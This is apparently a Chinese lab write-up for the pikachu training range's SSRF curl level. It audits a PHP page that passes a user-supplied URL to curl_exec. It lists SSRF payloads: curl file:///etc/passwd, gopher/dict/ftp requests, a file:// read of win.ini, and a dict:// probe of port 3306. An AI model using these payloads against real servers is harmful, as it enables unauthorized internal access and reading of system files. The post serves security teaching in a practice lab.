pikachu靶场通关笔记43 SSRF关卡01-CURL(三种方法渗透)

目录

一、SSRF

1、简介

2、原理

3、攻击过程

二、源码分析

三、渗透实战

1、基本探测

2、http协议

(1)upload-labs

(2)yijuhua.txt

3、file协议

4、dict协议


本系列为通过《pikachu靶场通关笔记》的SSRF关卡(共2关)渗透集合,通过对SSRF关卡源码的代码审计找到安全风险的真实原因,讲解SSRF原理并进行渗透实践,本文为SSRF关卡01-CURL关卡的渗透部分。

一、SSRF

SSRF(Server - Side Request Forgery,服务器端请求伪造)是一种网络安全风险。攻击者利用SSRF能让服务器端发起攻击者构造的任意 HTTP 请求。

1、简介

攻击者通过向存在 SSRF安全风险的应用程序提交精心构造的请求,使应用以自身服务器的身份去访问内部网络资源。危害极大,可导致未授权访问内网服务,如获取数据库、中间件等敏感信息,甚至控制相关服务。比如,攻击者可利用 SSRF 访问仅在内网开放的管理界面,进行非法操作。防御时,要严格限制请求的目标地址,对输入进行校验过滤,避免外部可控参数直接用于生成请求地址,同时禁用不必要的协议。

2、原理

攻击者向存在 SSRF安全风险的服务器 A 发送构造好的请求,由于服务器 A 提供了从其他服务器获取数据的功能且没有对目标地址做过滤与限制,服务器 A 会以自身身份按照攻击者构造的请求向内网服务器 C 发送请求。内网服务器 C 将数据返回给服务器 A,服务器 A 再把数据转发给攻击者,这样攻击者就利用服务器 A 作为跳板,实现了对原本无法直接访问的内网服务器 C 的访问,从而可能获取敏感信息、进行内网信息探测或攻击内网应用程序等。

3、攻击过程

  • 寻找关键点:攻击者先找出目标网站能让服务器发起外部请求的功能。

  • 构造恶意请求:攻击者修改 URL 或参数等,构造特殊请求。比如将原本正常获取公开网页的请求,改成指向内网受限资源(如数据库、内部管理系统等 )的地址。

  • 利用服务器转发:攻击者把构造好的请求发送给存在SSRF风险的服务器。服务器未察觉异常,以自身权限去访问攻击者指定的目标地址。

  • 获取响应数据:目标地址将数据返回给服务器,服务器再把响应结果转发给攻击者,攻击者借此获取敏感信息或执行未授权操作。

二、源码分析

进入到pikachu靶场SSRF的curl关卡,查看ssrf_curl.php文件,经过注释后的详细源码如下所示。

复制代码
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php

<?php
// 检查是否通过 GET 请求传递了 'url' 参数,并且该参数的值不为 null
if(isset($_GET['url']) && $_GET['url'] != null){
    // 从 GET 请求中获取用户输入的 URL,并将其赋值给变量 $URL
    $URL = $_GET['url'];
    // 初始化一个 cURL 会话,将用户提供的 URL 作为请求的目标地址
    $CH = curl_init($URL);
    // 设置 cURL 选项,不返回响应头信息,只返回响应体内容
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    // 设置 cURL 选项,不验证 SSL 证书的有效性。这在处理 HTTPS 请求时,如果不想进行严格的证书验证可以使用,但会带来一定的安全风险
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    // 执行 cURL 会话,发送请求并获取响应内容,将响应内容赋值给变量 $RES
    $RES = curl_exec($CH);
    // 关闭 cURL 会话,释放相关资源
    curl_close($CH);
    // 以下注释说明了 SSRF 原理:前端传递进来的 URL 被后台使用 curl_exec() 进行了请求,然后将请求的结果又返回给了前端
    // 同时指出,除了 http/https 外,curl 还支持一些其他的协议,如 FTP, FTPS, GOPHER, TELNET, DICT, FILE 以及 LDAP 等
    // 这些协议的支持可能会被攻击者利用来进行恶意操作
    // 输出请求的响应内容到前端
    echo $RES;
}
?>

这段代码存在严重的 SSRF(服务器端请求伪造)安全风险,主要原因如下:

  • 缺乏输入验证和过滤:代码直接使用用户通过 GET 请求传递的 url 参数作为 curl_init() 函数的参数,没有对该参数进行任何验证和过滤。攻击者可以构造恶意的 URL,例如指向内部网络的敏感资源(如内部数据库、管理系统等),服务器会以自身的权限去访问这些资源,从而导致信息泄露或其他安全问题。
  • 支持多种协议 :PHP中libcurl库在4.0.2版本以上引入,允许你与各种的服务器使用各种类型的协议进行连接和通讯。PHP中使用curl实现GET和POST请求的方法。libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。攻击者可以利用这些协议来执行一些危险的操作。例如,使用 file:// 协议可以读取服务器上的文件,使用 telnet:// 协议可以尝试与内部网络的服务建立连接。由于代码没有对协议进行限制,攻击者可以随意指定协议,从而绕过一些安全防护机制。
    • 使用 curl 读取文件 curl -v file://etc/passwd
    • 使用 ftp 协议 curl -v "ftp://127.0.0.1/1.txt"
    • 使用 dict 协议 curl -v "dict://127.0.0.1:7890"
    • 使用 gopher 协议 curl -v "gopher://127.0.0.1:6666/_info

三、渗透实战

1、基本探测

由于本次实验涉及到内网访问,为防止混淆,本次使用的ip地址为虚拟网卡vmnet8对应的ip地址,即192.168.59.1,而不是使用127.0.0.1,具体如下所示。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_curl.php

点击链接,累了吧,来读一首诗吧,如下所示新链接中为file 后跟着个 url 并以 http 协议去访问本地的 info1.php 文件,其中url为可控参数。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

其中info1.php,具体文件内容如下所示,如上图所示完全展示成果。

2、http协议

(1)upload-labs

本次计划访问 http://127.0.0.1/upload-labs/,通过SSRF来访问,URL如下所示。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/upload-labs/

计划访问pikachu靶场的yijuhua.txt,完整URL地址如下所示。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/test/yijuhua.txt

(2)yijuhua.txt

如下图所示,通过SSRF链接成功访问到yijuhua.txt文档。

3、file协议

修改url为:url= file:///C:\Windows\win.ini,查看文件的内容。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///C:\Windows\win.ini  

如下图所示,通过SSRF链接成功访问到C:\Windows\win.ini文档。

4、dict协议

使用dict协议可以获取内网主机开放端口相应服务的指纹信息,修改url为如下内容。

?url=dict://127.0.0.1:3306,探测3306端口是否开启,完整URL地址如下所示。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306

如下所示端口开启且版本号为5.7.26,渗透成功,具体如下所示。

相关推荐
致***锌31 分钟前
etf期权和个股期权哪个期权费更贵?
笔记
柴郡猫^O^1 小时前
OSCP - Proving Grounds - DC - 1
安全·网络安全·安全性测试
泡泡以安1 小时前
JA3指纹在Web服务器或WAF中集成方案
服务器·安全·https·ja3指纹
Raners_1 小时前
【Linux】文件权限以及特殊权限(SUID、SGID)
linux·安全
速盾cdn2 小时前
速盾:高防CDN还有哪些冷知识?
网络·web安全
格调UI成品4 小时前
预警系统安全体系构建:数据加密、权限分级与误报过滤方案
大数据·运维·网络·数据库·安全·预警
Wallace Zhang5 小时前
STM32F103_Bootloader程序开发11 - 实现 App 安全跳转至 Bootloader
stm32·嵌入式硬件·安全
CertiK7 小时前
IBW 2025: CertiK首席商务官出席,探讨AI与Web3融合带来的安全挑战
人工智能·安全·web3
m0_738120728 小时前
玄机——某学校系统中挖矿病毒应急排查
网络·安全·web安全
帽儿山的枪手8 小时前
为什么Linux需要3种NAT地址转换?一探究竟
linux·网络协议·安全